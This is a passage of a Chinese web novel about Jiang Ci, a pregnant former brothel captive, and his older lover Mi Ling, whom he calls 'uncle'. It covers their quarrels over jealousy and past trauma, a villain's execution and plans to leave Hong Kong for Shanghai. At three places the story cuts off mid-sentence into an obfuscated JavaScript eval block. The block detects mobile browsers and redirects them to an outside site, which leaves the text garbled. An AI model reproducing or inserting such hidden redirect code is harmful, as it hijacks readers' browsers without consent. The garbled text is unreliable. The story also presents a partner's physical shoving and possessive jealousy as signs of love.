糜岭两手按着他肩膀,把他推到门上,斥道:“你还没怎么样?你去那种地方干什么?又下雨,自己还在发热,你告诉我你跑出去干什么?我说过院子里全是蛇,叫你不要去,你听我的话了么?每一次答应得那么好,有几次是真的听了?” “我——你先放……疼!” 姜瓷缩了缩肩膀,糜岭更用力推了一下,把他撞到门上,闷闷的一声响。 “不疼,你怎么能长记性。我问你,你躲在树丛里鬼鬼祟祟干什么?你和厨师有什么话可说,说那么高兴?” 姜瓷愣了愣,脑袋一懵,一阵阵发昏,张了张嘴,却只是哑然。他用余光去睨雨里的院子,那些艾草摔在泥地里,掉在近处的两枝,被糜岭踩折了,凹断在那里。 他又低头打量自己身上,到处都是脏污,脚趾缝里满是泥,刚才太用力地抓着艾草,许是揉碎了几片叶子,指尖上沾着绿迹子,飘出淡淡的辛而苦的气味。 糜岭见他不说话,也没再追问,慢慢松开了他肩膀,退几步,倚到门对面的墙上。不一会儿管家送来了毛巾,他才又靠近姜瓷,给他擦头发擦手,又蹲下去抹他脚上的泥水。 他低头看到糜岭把受伤的那条腿曲跪在地上,眼泪禁不住涌了出来:“我去院子里摘艾草,捣碎了可以给你敷在腿上,英嬅姐姐说的……管家说今天实在腾不出空出门买,我就想院子里会不会有,然后我遇到厨师傅在那里摘菜,就叫他教我认哪一个是艾草……总感觉每个草都一样么,全是绿绿的,头痛眼睛也痛,看不清楚……” 糜岭顿了顿动作,手掌圈在他脚踝上,沁过来的不知是汗还是雨水,冰凉刺骨,姜瓷一阵颤麻,软了腰往他肩头伏下去,搂住他脖颈,附在他耳边颤声说:“阿岭,你刚才说的是什么意思么,你觉得我背着你和厨师傅……他、他都有六七十岁了啊?我还怀着你的宝宝呢?什么鬼鬼祟祟……我哪有?我只是……他也是上海人,我跟他多说了几句话,我问他以前住在上海什么地方,这个也不能和他说么?” 糜岭站起来,理一理他歪斜的衣领,把毛巾围在他胸前,盖住了潮湿的衣服。 姜瓷会了意,抬手捂住毛巾,缩起身子,撇过头去,怔怔地掉下泪来,喃喃道:“你怎么能……这么想我?” 糜岭抬手捏住太阳穴,把眼睛掩在掌下,哑声道:“对不起宝宝,是我昏了头……我太着急了,你又……” 姜瓷摇摇头,像是不能接受这轻飘飘一句道歉。外面的雨一阵急似一阵,潮闷地掀进屋里,热意网一般笼过来。 他忽然想到英嬅与李先生结婚那日,他们到浅水湾舞厅去,糜岭在那儿和他发了脾气。他问他为什么五年前没有认出自己,他说他在金园待得太久变了太多。那时隐隐觉得他话里有话,没能细想,现在倏忽间顿悟了其中的含义。 “我懂了,”他倦怠地伛偻起背往门上靠,阖着眼帘,泪簌簌地流,“你的意思是我太骚了。” 糜岭即刻答道:“不是!别多想,小宝,今天一切全是我的不对,我——” 姜瓷打断他:“五年前那会儿,我什么都不懂,冒冒失失闯进舞厅里,跟你说话还会脸红,跳舞也笨拙,一看就知道单纯,青涩,生疏,还有……干净。” 他把最后两个字咬得很重,糜岭马上又沉声道:“不是这样,小宝……” “怎么不是?事情就是这样的事情,我全都看在眼里啊?五年后你在金园再看见我,我成了什么样子呢?成熟了?腐烂了?衣衫不整,骚,骚得没法说了,是不是?我在金园里人尽可夫——” “姜瓷!” “所以你没认出我,你觉得我那么样又骚又贱的一个人,怎么可能是五年前那个纯洁无暇的姜瓷,怎么可能是你心里那个高贵美好的爱……金园的姜瓷只配是一个娼,只配给你玩一玩,只配是一个要害你身家性命的歹人……” “别说了……” “你讲得很对,我在金园太久变了太多,很多时候,我太没分寸规矩,习惯了那种样子走路说话,一举一动都在媚人,刚才在菜圃那里,我和厨师傅说话的时候,是不是也很不好看?” 糜岭来抱他,声音颤颤的:“宝宝,好了,别想了……” 姜瓷一把推开他,挣着拳头哭道:“可是,难道是我自愿变成现在这样的么?是我想变得你随便碰一碰我我就想给你抱,是我想变得烂掉了一样,再也不会脸红害羞,变成一个除了床上的事什么都不会的玩物?” “姜瓷,别——” “妈妈走之前,她求我,求我好好活着,活着就有希望,她一直这么在我耳边念叨……但是,那张金园里的床……”浸满了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜瓷看见他蹒跚穿过穿堂,走廊,拐个弯进到了客室。片刻后,三两只杯子和茶壶,花瓶,玻璃摆件,一个接一个被摔出门来,碎片四溅。分明隔得很远,姜瓷还是觉得那碎片好像直溅到眼睛里来,脸上湿润润流的不是泪,是温热的血。 他不知道自己怎么回的房间,怎么躺上的床,回过神来时仿佛是睡了一觉醒来了,身上干爽,大概糜岭替他换过了衣服,额头上的毛巾还有些冰手,显然是刚换上的,没什么不舒服,就是眼睛涩得发胀,抬手揉一揉,模模糊糊间,看见糜岭雕塑似的坐在几步远外的椅子上,浑身湿淋淋,头发,袖子,裤脚,全都在滴水,怀里一蓬凌乱的艾草耷拉着。 半晌,糜岭才发觉他醒了,微微转了转头望过来,可视线却混沌的,并没有真正在看他。 他哑声说:“宝宝,我只是嫉妒,嫉妒是他们而不是我让你变得这么漂亮,我嫉妒他们比我先地触碰过你的一切,虽然现在你属于我了,可是我还是得和其他人分享,分享你身上的柔熟,怎么办,舅舅又不能把每个人的眼睛都挖掉,只能那样没出息地跟你发发脾气,是舅舅太自私太卑鄙,是我在无理取闹,对不起。你千万不要乱想,不管是五年前,还是五年后,不管发生什么事,你都是我的好宝宝,我都会爱你。谢谢你为我摘的艾草,舅舅去捡回来了,别生气了宝宝,好么?” 他拨弄一下蔫蔫的艾叶子,闭上眼睛,忽然想到了什么痛苦的事情般神情扭曲起来,颤着嗓子说:“我怎么会介意你的身体不干净……真要介意,舅舅还这样对你么?我喜欢你还来不及,舅舅多么喜欢你,你感觉不到么宝宝?还是我做得还不够多?以后你想要什么,想怎么样,全都依你,不要再讲什么别的男人比我先……也不要说自己不好,你很好,也不是只懂闺房里的事,舅舅不是还教你读书写字教你算账拨算盘?舅舅把你当宝贝捧着,你何必说那些自贬的话,气我也气你自己,舅舅痛,你也痛,是不是?” 姜瓷背过身去,捂着眼睛默默地哭。 他看着他轻轻耸着的肩膀,走过来伏在床边,额头抵着他后背,手绕过去摸他的小腹:“我真正介意的,是五年前就那样放你走了,让你在山上那种地方受苦,我恨我自己无能,香港就这么大点地方,怎么会找不到你,那时候还住在老宅子,从老宅子开车到金园,比从高街过去还要近,几十分钟的车程,结果就是找不到你,护不住你,我恨我自己为什么有眼无珠,为什么那么执拗,不愿意想一想,或许你就是五年前那个人……舅舅怕你再一次从我身边溜走,再一次找不到你,你又要在我看不见的地方吃苦,所以你一不在我身边,我就急躁,下午那时候,以为你又不见了……宝宝,你转过来给舅舅看看,头还痛不痛了?” 姜瓷扭了扭身子,甩开背上他湿粘的脸。 “姜瓷……”糜岭像是有点儿在哀求似的叫他,贴过来抱紧了他。他哭出声来,还是转过身枕到他肩上,搂住了他脖颈。 糜岭抚着他头发柔声说:“好乖,乖宝贝,我们宝宝受委屈了……”一边低头轻轻吻下来,吮到点儿泪的咸涩味,也分不清是谁的泪。 47. 47 霎儿晴 这天姜瓷在衣柜前挑衣服的时候,发现挂在角落的一两套旗袍受潮生了霉。他提起斑斑点点的裙摆搓了搓,霉迹子顽固得纹丝不动,翻开衣料往里瞧,黑渍都已经沁到了内衬上。 糜岭见他站着发呆,走过来拥住他,垂眼去看,说:“正好这些衣服都不合身了,改天得空了,舅舅让裁缝过来给你量尺寸,重新做几件。” 他托住姜瓷又大了些的肚子轻轻抚着,掌根上薄薄一点儿茧,搔出浅浅的痒意。姜瓷打了个激灵,腰不住地软下来,想往他怀里倚,想回身搂住他,想撒娇讨一个吻,可是他只是沉默着,绷紧了脊背,伸手向衣柜里取出一套西服来,低声说:“我要换衣服了。” “天这么热,穿薄的,不然要中暑了。” 糜岭抓住西服要放回柜子,姜瓷不放,与他僵持片刻,渐渐红了眼睛:“你到底要我怎样么,我之前穿薄的,给别人看见,你觉得我——你生气,我不敢穿了可不可以?我现在就要穿这个,不想跟你吵架……” “小宝,舅舅不是跟你解释过了?随便你想穿什么样的衣服,我不生气。”他凑近了想吻姜瓷,可姜瓷被吓着了似的猛然偏过头去,马上把外套展开来往身上披,倚在衣柜门上手忙脚乱地套长裤。 他生怕他摔着,揽住了他的腰,谁料他突然挣扎着惊叫起来:“别!别碰我——” 糜岭立刻退开,踱回床畔坐下,抓了姜瓷枕头一角在手里,轻轻地摩挲起来。姜瓷在那头换好了衣服,静静看了他片刻,出声问:“你还会带我回上海么?” 吃过早饭,姜瓷跟着糜岭到店里去。虽然害怕,担心抛头露面被周盛业看见,又要出事情,可是也清楚糜岭是一定要把他带在身边的,就算他不愿意,糜岭怕是也会拿个绳子绑了他出门。他们的车子后还跟了两辆车,有四五个高大的家仆随行。 现在又是年中盘账的时候了,在店里,糜岭和几个账房谈事情,姜瓷也在一边听,拿着个小算盘默默地跟着拨来拨去。后来许是听不懂了,给每人倒了杯茶,一个人坐到屋子另一侧去了。糜岭让人在这儿架了张屏风,放了藤椅和小茶桌,专门给他休息用。 他躺在藤椅上摇着扇子,一边翻书看,不知不觉打起瞌睡来。 到了中午,糜岭遣了其他人去吃饭,绕到屏风后瞧他,他还睡得很沉。大约是热得厉害,衬衣撩到肚子上,衣襟掀开来。 糜岭悄悄去牵他的手。近来不怎么能碰到他,至多只能像今早一样摸一摸他的肚子,再做些别的,他就宛如受惊的鹿般要逃开。接吻已经是上回吵架时的事情,到现在隔了多少天了?两天?十天么?糊里糊涂地,记不太清楚了,好像没多久,又好像很久了。 以前来店里,尽管有人在,他也是要抱要亲,热得满头汗依然要腻在一起,枕在糜岭肩上翻账本,嘟嘟囔囔地说:“什么呀?怎么跟你教我的不一样?这是什么意思?这个呢?那又是什么?” 看累了玩累了,从来不要到藤椅上一个人休息,甩了鞋,抬腿蜷到糜岭怀里,倚在他胸前,困得眼睛睁不开了,还要特别强调:“阿岭,别忘了亲亲我么,亲我一下我再睡。” 一觉醒过来,揉着眼睛把脸往糜岭手臂上贴,歪着脑袋说:“好热嗯……你摸,我脸上有你衣领的印子……”糜岭就摸摸他的脸,热烫的,浮着一层黏腻的汗,浅浅的衣领印子是荷粉色的。 在家里,吃过晚饭洗过澡,在客室吹风扇,糜岭坐在那一头翻报纸,他半躺在沙发上这一侧,绷着脚背来拨弄糜岭睡袍的腰带,扯散了,扭着身子把腿往他怀里放。养胖了,脚趾也圆溜溜,饱满得像桌上果盘里水灵灵的葡萄。 现在……什么都没了。他规矩得像庙里守戒律的和尚。 糜岭举起他的手凑到唇边亲了亲,俯身去擦他额角的汗,他却猛然睁开了眼睛,像是被噩梦吓醒了,粗喘着去抚胸口,手一探上去摸到敞开的衣襟,又添几分惶然,连忙捂住了,撇过头避开糜岭的视线。 “是、是中午了么?”他结巴地说着话,慌慌张张地扣衬衣纽扣。 糜岭瞧见那衬衣肩颈一块儿已经湿透了,扯住外套不给他往身上盖,柔声说:“宝宝,不要这样了,好吗?” 姜瓷皱着眉呼呼地喘粗气,去掰他手指,掰不动,便把两臂挤在胸口掩住身体,喃喃说:“你没认出我……你喜欢五年前那个我,单纯的……穿衣服,说话做事,行为举止,都要有分寸……你碰我,我会忍不住……我乖乖听你的话,不惹你生气,不好么?我不惹你生气,你才会让我回上海,是不是?” 糜岭如鲠在喉,把外套攥得更紧,用力扯了一下,把他上半身都扯起来,他悬在那儿,脖颈折断般垂着,汗湿的头发滑到藤椅扶手,在水里淌过似的潮。 “做噩梦了?”半晌,糜岭哑声问。 他一言不发。糜岭伸手去抬他的下巴,脸露出来,眼睛通红,没有流泪,但仿佛有两条惨白的深深的泪痕刻印在那里。 他颤着唇似要说什么,可忽然间莫名羞耻起来,好像身上长满了毒疮,不能给碰的。他激烈地挣扎,甩开了糜岭的手,把厚重的西服外套裹在身上。以前总提起金园的事情来刺人,现在讲不出口了,也没办法诉说噩梦,在那些黑暗而漫长的夜里,飘在空气中闷臭的体味,汗津津的床,一个个面目可憎的人,留下来的怎么冲刷都无法洗净的污秽。 糜岭盯着他煞白的脸,慢吞吞蹲下身去,枕到他膝头,低声说:“不管怎样,姜瓷,我总归喜欢你爱你的,别的不用听,只听舅舅这句话就好……” 姜瓷忍着泪,眼眶鼻头一阵阵发酸,坚持了片刻,还是妥协了,俯身紧紧抱住了他。 或许姜瓷身上这套衣服在看不见的地方也受了霉,两人都闻到一点儿淡淡的腐味,或者这味道其实来自两人之间,感情在太多眼泪的潮气中也生出了霉菌,像发霉的衣服,还可以继续穿在身上,还可以继续维持下去,只是不那么漂亮完满了。 姜瓷哭了两声,去拽他手臂:“你起来,你的腿……” 糜岭道:“站着更不舒服。” “没让你站着么……” 糜岭抬头看他一眼,他微微挪了挪身子,腾出些许空位来。两人挤在狭窄的藤椅上,糜岭还把他衬衣解开了,卷了几张书页当扇子,给他扇风。他垂着头抽噎着说:“我想回去,我要回去……” “回哪儿?” “公馆里……上海……” “到底哪儿?” “先、先回家,然后回上海。” “你也知道公馆是你的家。” 姜瓷哼哼地哭。 糜岭说:“吃了饭再回,管家看见你跟我一起出门,应该没备你的午饭,回去了没东西吃。” “我不想吃,我难受……” “哪里难受?” “就是难受……”说不出个所以然,也不知道是不是在撒娇。糜岭就低头亲亲他。起初他还抗拒,慢慢就妥协了,哼哼地往他怀里贴。糜岭附在他耳边说:“不哭了宝宝,舅舅给你揉揉就不痛了。” “嗯……” “乖宝,不哭了……” 裁缝来给姜瓷重新量过尺寸,隔了两天就把新旗袍送了来。当天晚上,已是快睡觉的时候了,糜岭却要出门,穿了身正装,也给姜瓷打扮了一番。 车子往卿卿和周茂飞的小洋楼开去,姜瓷便知道今晚一定有大事要发生。糜岭什么都没说,只在车上嘱咐说,一会儿只管待在他身边,哪儿都不要去。 他们在小洋楼后门口下的车。卿卿迎他们进屋,先和姜瓷拉一拉手:“你好吗?好像胖了些了,小舅舅把你养得真好。”又对糜岭道:“刚刚周茂飞打电话过来打探情况,我跟他说我已经准备休息了。佣人也被我找借口全遣走了,家里只有我爸派来的几个人,守在楼上。” “汤姆生呢?” “比你先到一会儿,在厅里喝茶,他带了两个穿军装的人来呢,不知道是不是他的侍卫。我去取项链,你先去陪他坐。” 卿卿拿了项链回来,几人寒暄一番,也没多说闲话,聊起正事。汤姆生把那串红宝石项链举在灯下打量,说:“好东西,确是好东西,赠与我夫人做贺寿礼,她一定喜欢。孟小姐,不知要多少价钱才愿意割爱?” 卿卿道:“汤姆生先生,其实这项链原是我小舅舅的传家宝,是他赠给我当结婚贺礼的。这么宝贵的东西,我舍不得卖掉,不过既然现在他求我把这项链让给您老人家,那么我也没什么怨言。您直接拿去吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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汤姆生瞪着眼,脸色铁青:“荒唐,摸进人家家里行窃,还要杀人!把他捉回去严加询问,我倒要看看是什么人有这么大的胆子。” 卿卿说:“你这歹人,只管等着杀头吧,偷到我家里来,冲撞了汤姆生先生,你知不知道他是谁,他可是新上任的港督!” 那蒙面人两股战战,跌跪在地上,叫道:“这、这全都是周盛业指使——饶命啊——” 汤姆生新官上任三把火,了解来龙去脉之后,将周盛业、周茂飞与一众同流合污的警员处以重罚,判下死刑,以儆效尤。官场一时震荡,人人自危。 糜岭倒是总算安然下来,休了两天假在家陪姜瓷。姜瓷心里横着刺,仍不怎么愿意搭理他。糜岭便办了场小宴会哄他高兴。 英嬅把吝吝也带了来。吝吝长高许多,穿一身红裙子,比之前健谈,也爱笑,和李先生相处也并没有什么隔阂的样子。宴会还没开始前,她说新近在学校学了首诗,要背给大家听。众人便围拢过来听她背诗。 那时候糜岭恰从厨房拿了几瓤冰镇西瓜回来,想给姜瓷解解暑,原以为他也在厅里,不想根本没瞧见他的人,找出去,原来他站在门口,倚着门柱,怔怔地望着院子里发呆。 他穿着裁缝新做的旗袍,艳绿色,臂弯间挂一条浅绿色丝巾,掩住隆起的小腹,腕上的镯子也是翡翠绿的,仿佛是感觉到糜岭在看,便回了头,原来耳上也是绿的坠子,跟着他的动作摇晃起来。忽然间,莫名地,糜岭感觉那两只前后摆动的坠子像锤子般,牵扯着他,正一下一下将他钉凿到门柱上。他不动也不叫喊,不能叫喊,是一只绿蝴蝶标本,哀怆地美丽着。 糜岭心口钝钝地痛起来。他走过去,揽住姜瓷的腰,抚摸他脸颊。半晌,他才活过来似的,偏头躲糜岭的手,细声说:“怎么了?” “小宝,舅舅知道你待在家里闷,没事做,那么明天我们出去玩,到公园走走,骑车也行,以前总嚷着要骑车,一直没空陪你去玩。” 他摸摸自己隆起的小腹:“真的?让我骑么?” “嗯。” 他转过脸来,垂眼盯着糜岭嘴唇,半晌,忽然吻上来,浅浅的一下。糜岭把他往门柱上压了压,想再吻他,他却紧着嗓子,略有些哽咽地说:“刚才那样的吻,像不像五年前的我会做的事?” 48. 48 枕上三更雨 夜半时分,姜瓷被外头的雷声惊醒,隔着蚊帐,在闪进屋内来的薄白电光中,瞧见糜岭站在窗前。 他坐起来去抓床头的水杯,糜岭听见动静便关上窗走回来,拿过扇子给他扇风,摸摸他汗湿的额头,问:“吓着了?” 他不答,盯着杯子里几块沉浮的冰,浅浅啜了几口水。 糜岭又说:“做噩梦了?” 两人对视一眼,都撇过了头。糜岭坐近了些,抚着他的肚子:“还睡得着吗?睡不着我们去看书,好吗?” “小舅舅为什么也睡不着?” “没有,舅舅听见打雷声才醒,去关窗户的功夫,你也醒了。” 两人心知肚明事实并不是这样。姜瓷没有戳穿,拿过搭在床沿的外套往身上披:“能不能在客厅看啊,我想吹那里的大吊扇。” 糜岭不应声,拽着外套不给他穿,他扯了两下,忽然一股无名火涌上来,尖声叫道:“你放手,放开!” “不许穿,捂得身上全是痱子。”糜岭也有点生气地皱着眉,把衣服一甩扔到地上去了。 姜瓷挺起上身扑过来,狠狠推他一下:“不是你要我听话么?我现在就按照五年前你喜欢的样子说话做事,你有什么不满意?凭什么不满意!” 他揪着糜岭衣襟晃,又捶打他肩膀,闹了几下,很快没了力气,呼哧呼哧地喘着。糜岭抚着他的背,偏头来吻他,被他挠了脸,还是执着地去贴他唇瓣。 姜瓷也不知是要搂还是要推,手颤巍巍搭在他肩上,觉得他的嘴唇比方才喝过的冰水还要凉。 “不许你亲我……”他含糊地说着,带点儿哭腔。 糜岭便退开来,说道:“宝宝,千错万错都是我的不好,往后舅舅一定尽力弥补,你怎么样都行,只是别再这样折腾自己跟我怄气了。” 不说还好,一说这些,姜瓷只觉得心里也冷冰冰,又痛又麻,哽咽地说:“怎么补?难道能让我变回以前的样子吗?” “为什么要变回以前?” “因为你——” “你真的觉得我不喜欢不爱现在的你?” 姜瓷顿了顿哭声,搂住他脖颈,没有言语。 糜岭轻抚着他的背哄:“宝宝,你就在我身边,我难道撇下你去爱一个记忆里的人么?事情已经过去了,我们——” “那就能当不存在么?”他哭吟吟地,“因为我没有真的被刀扎,身上也没有真的留下疤,所以就能装作什么都没发生吗?我忘不掉……怎么办么……” “舅舅知道你痛,吃了很多苦,受了很多委屈。” 两人额头相抵,靠得太近,睫毛仿佛都绞在一起,湿透了,姜瓷隐约看到糜岭眼尾缀着沉甸甸的红色。 “宝宝……” 听他这么软声地叫,他眼里更涌出泪来,想到那晚在浅水湾舞厅,自己也说过,假如妈妈还在,隔了五年再乍一见他,恐怕也会把他错认成别人。任何人在金园待五年,都要面目全非的。 他抽泣着咬牙切齿地说:“为什么是我,为什么我要被关在那个地方,为什么我要经历那种事情,为什么——” 糜岭心头一阵阵牵痛。如果那一晚拉住他的手就好了,或者多问一句话,明明看见警察闯进门来了,也看见了他脸上的惶然,为什么没能把这两件事联系在一起,为什么那么迟钝,为什么就那样放他走了,为什么想当然以为能再见到他,能找到他? “小宝,舅舅也后悔也恨,你难过,舅舅也是一样……” “如果我没有在金园待过,你肯定就认出我了,是不是呢?” “对不起宝宝,对不起……” “我也不知道我为什么要一直跟你吵架,我心里就是不舒服……” “不要紧,没事的宝宝,舅舅挨你几句骂又不会怎么样,但是你不能不吃饭不睡觉,也不能为了穿衣服的事情弄得自己身上难受,对不对?” 姜瓷支吾地哼哼两声,说:“我想要你爱我,我也想完完整整从头到尾都只有你,可是……” “我知道,我都知道宝宝,我当然爱你,舅舅一直跟你讲的,不管你什么样子,我都喜欢,你要听,要听舅舅这句话。” 姜瓷把眼泪往他脸上蹭,抱紧了他,呜咽哭了半晌,说:“好,我听,阿岭特别特别爱我,不管我什么样……” “真乖,小宝这么乖,舅舅怎么会不爱你。” “如果有一天,你嫌弃我——” “小宝嫌弃我还差不多,你这么漂亮又年轻,舅舅可是个老瘸子了。” 姜瓷嚷起来:“谁说的么!不老,也不是瘸,是走路有点不方便。” 糜岭带了点笑意吻他一下:“宝宝,不要怕,不要想太多,我总归陪着你的。在金园的那些日子,过去的事情,轻易放不下,你哭也好,气也好,恨也是理所应当……我们一起面对,好吗?五年,十年,二十年,还放不下么?二十年之后,我们宝宝肯定只记得和舅舅在一起的时候快乐的事情了,是不是?” “二十年……”他喃喃念着,缓缓点一点头。 “慢慢都会好起来的宝宝,你瞧现在周盛业落了个什么下场。” 他吸了吸鼻子,心思被拽偏到周盛业身上,小心翼翼问:“他……死、死刑……是被枪毙么?” “嗯,就这几天了,汤姆生刚到任,急着用他来立威。等报纸上登了这件事,舅舅读给你听。” “不要,宝宝会怕……”他捉着糜岭手往自己肚子上放,糜岭笑说:“这么小,听得见我们说话么?” “说不定呢。” “那你跟舅舅吵架,岂不是也全被听去了?” “就算我跟你吵架,我也好喜欢你的么。” 糜岭笑了笑:“我也很爱你。” 夜里这场雨一直持续下到了天亮,自然没能去公园骑车。糜岭就做别的安排,回老宅见陈兴,在陈青柏回来接手家业之前,请他出面主持大局。 老爷子过了一年多悠闲放纵的退休生活,哪还愿意再来管事。 他们在房里说话的时候,另有两个姨太太在旁,一个给陈兴捏肩,一个给他捶腿,陈兴则叭叭地抽着烟斗,一连声骂开了,什么色令智昏,什么不务正业。糜岭全没听,望着窗外。 他带了姜瓷一起过来,但没打算让老爷子见,方才安排他坐在了院落中一个小亭阁里,这会儿有两个佣人端着茶水点心往桌上摆,姜瓷指着其中一盘糕点,似是在问那糕叫什么名字,抓了两块在手里吃起来。昨夜闹了一场,没有睡好,今早饭也没吃几口,现在是该饿了。 糜岭收回视线,瞥一眼陈兴,喊道:“爸。” 陈兴愣了愣,端坐正身子,挥开了身旁两个姨太太,说:“罢了,以后你和外头那个如何,我不会过问,只是无论如何你不能到上海去。” “我已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831067|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经决定好这个月末就动身,您不让我走,我也要走。” “你——” “店里面,有两个跟了家里十多年的老伙计,我请他们暂管事务,您时不时去店里走一走,费不了多少心思。这个家,我不想也没办法管了。您交给青柏吧。”他拿过手杖站起身,头也不回地出了房间。 陈兴大叫着跌跌撞撞来追:“混账,混账!你站住,给我回来——” 他已经踏进院落里,姜瓷在亭子那头远远瞧见,撑开伞来接他。两人吻一下,糜岭尝到些许糕点的糯香,问:“好不好吃?好吃回去路上去铺子里买。” 他却有点儿不高兴的样子:“我想回家。” “怎么了宝宝?” 他摇摇头不应声,搂着糜岭肩膀软声央道:“我要回家么,回家。” “好好,这就走了。” 坐了车回去,路上经过一家商铺,糜岭还是叫司机去买了根冰棍回来,耽搁了一阵子。 姜瓷兴致不高,只浅浅舔了几口就不要吃了。天气热,一会儿的功夫,冰就化了大半,弄得糜岭满手都是,从口袋拿手绢来擦,不小心又把冰棍往姜瓷胸前蹭了一下,扭断了半截,那一块冰一下子滑到衣领里去了。 姜瓷直打激灵,埋怨说:“你故意的。” 糜岭笑:“我为什么要这样捉弄你。”扯开他衣襟去捉那块冰。姜瓷抬手抱住他,软柔柔水一样泼到他臂弯里。 车窗开着条缝,雨珠子迎风飞进车里,往面颊上溅,姜瓷下意识闭了闭眼,再睁开的时候,看见外头路边一个卖瓜的摊贩,正推着三轮车缓步走着,冒着这么大的雨,还在一声声叫卖。车子开过那贩子身边,那人也往车里睨了一眼,不知是不是看见了什么,忽的扭过头啐了一声。 姜瓷吓了一跳,身子一抖,糜岭随即抱紧他,把他压倒在座位上,两臂兜着他的腰,低声问:“怎么了,被雷吓着了?” “没……阿岭,你抱抱我好不好?” 糜岭便收紧手臂,胸膛严严实实罩着他,他躲在这昏暗促狭的怀里,埋着头,稍稍觉到点儿安心,轻声说:“阿岭,我不想出门,可以么?” “在老宅里发生什么事了?”糜岭问。 “也没什么……我听到佣人说闲话,说以前我在金园……还有我的身体……反正就是那些话。一出门,见了谁,谁都要说几句,刚刚外面有个卖西瓜的人,也那样看我。” “什么卖西瓜的人。”糜岭朝窗外望望,只是漫天的雨。 “早就路过了,”他抓着糜岭衣襟,“因为总是听他们那样说,我想忘也忘不掉,我要跟小舅舅好好的,不吵架,要开开心心。” 糜岭抚着他汗湿的额角,怜爱地亲了亲他,柔声应道:“好,不出门就不出门,店里的事情也交代好了,舅舅就在家里陪你,好吗?到时候家里的佣人,愿意跟着我们走的就一起去上海,不愿意的舅舅就给点钱遣了他们。这阵子总下雨,也刮风,这样的天气出海危险,码头上也没什么船,到月末的时候,雨就该少了,我们再走。” “要带上妈妈,妈妈的牌位在寺庙里。” “好,一定带着,不会忘。” “那到时候我们坐什么样的船?我和妈妈来的时候是搭的货船。” “当然搭载人的游船,舅舅到英国去,也搭那种船。”糜岭跟他讲起那时候在船上遇到的趣事,逗得他笑开了。 49. 49 帘外五更风 两人在家里闲了几日。有天傍晚时分晴了一阵,气温也降下许多,凉风习习的。姜瓷忽然来了兴致,想要出门。糜岭便带他到公园里去,寻了片没什么人的空地陪他骑车。担心他要摔跤,一开始还在后面扶着车座,但渐渐腿吃力跟不上了,就坐到一边看着他骑。 他自己玩了一会儿,总看见糜岭拿手去按腿,知道他不舒服,便也坐到了长椅那儿,说要早点回家。 糜岭说:“去多玩一会儿,不知道什么能再出来。” “不要,骑车的时候有点压肚子,小宝宝会不舒服,你摸摸,是不是又大了点儿啊?” 糜岭便摸一摸,笑着说:“那我们再吹吹风就回家了。” “好,你看天上又飘乌云了,”姜瓷半躺下来枕到他腿上,用手指一指,“月亮好小。” 糜岭握住他的手亲了亲,两人一道静静望着那线细月。 过了一阵儿,空地尽头的路上突然出现两个青年,说着话朝另一头走去。其中一个戴眼镜的道:“我骗你干什么!我爸就在现场,他亲眼看见亲耳听见,先打了一枪,周盛业竟没死,还在那叫,说死了也要来索命,又打一枪,再打一枪,浑身血淋淋,脑袋都炸开了花,嘴巴还张大了再叫——” “叫什么?” “叫姜瓷!就是他那个私生子的名字。” 糜岭随即要带姜瓷走,但姜瓷早已把话听得清清楚楚,吓白了脸。回去的车上一直哭,糜岭没哄好他。进了家门,两个佣人在客室擦地,也在说周盛业的事情,又惊了他一回。 当天晚上他从梦中几番惊醒,凌晨后就没再睡着,有点儿发热。糜岭守在床边,一会儿叫人去拿擦身体的冰水,一会儿又要新的毛巾,又是要干净的衣裳。家里兵荒马乱了一夜。 病了好几日才稍稍有些起色,只是仍睡不着,白日里跟糜岭说,晚上总梦见周盛业血淋淋地追他。 这天早晨,糜岭的一位朋友打来电话,说听说他要去上海,在醉生楼摆了几桌酒席,要给他践行。他哪里有心思,三番两次拒绝,以为那头消停了,不想傍晚四五点钟,那朋友领着一大帮人呼啦啦涌进家里来。 假若只有三两个亲近的倒还好,一些个没见过的生面孔也混在其中,一群人已经在客室径自玩闹起来。乐声和笑闹不断地往房里飘。 糜岭原想赶他们走,姜瓷拦下了,说:“我们回了上海,不知道什么时候再来香港,可能这一别就是好几年,也可能以后都见不到了,你去和他们玩嘛,我刚刚好像听到卿卿的声音了?” “她一副大嗓门,吵得整条街都听得见,”糜岭笑着吻了吻他,“好宝宝,那么舅舅去一下就来,想吃什么?带回来给你。” “大虾。” “好,叫厨房全给宝宝留着。” 姜瓷一个人躺在床上翻了会儿书,一直没等到糜岭回来,想着或许他和朋友说话忘了时间,就自己出了房间,到厨房门口张了张。有个老妈子见着他,拿了两瓤西瓜给他。他吃了一瓤,远远瞧见吝吝在走廊里东张西望,便喊了一声:“吝吝,你和你妈妈一起来的吗?” 吝吝小跑着过来,答道:“是的,李爸爸也和我们一起。小姜婶婶,我刚刚到院子里玩了一会儿,回来就找不到我妈妈了。” “李爸爸……小姜婶婶……”姜瓷讷讷地。吝吝道:“妈妈让我这么叫的,你和糜叔叔是一对,那我就该叫你婶婶。” 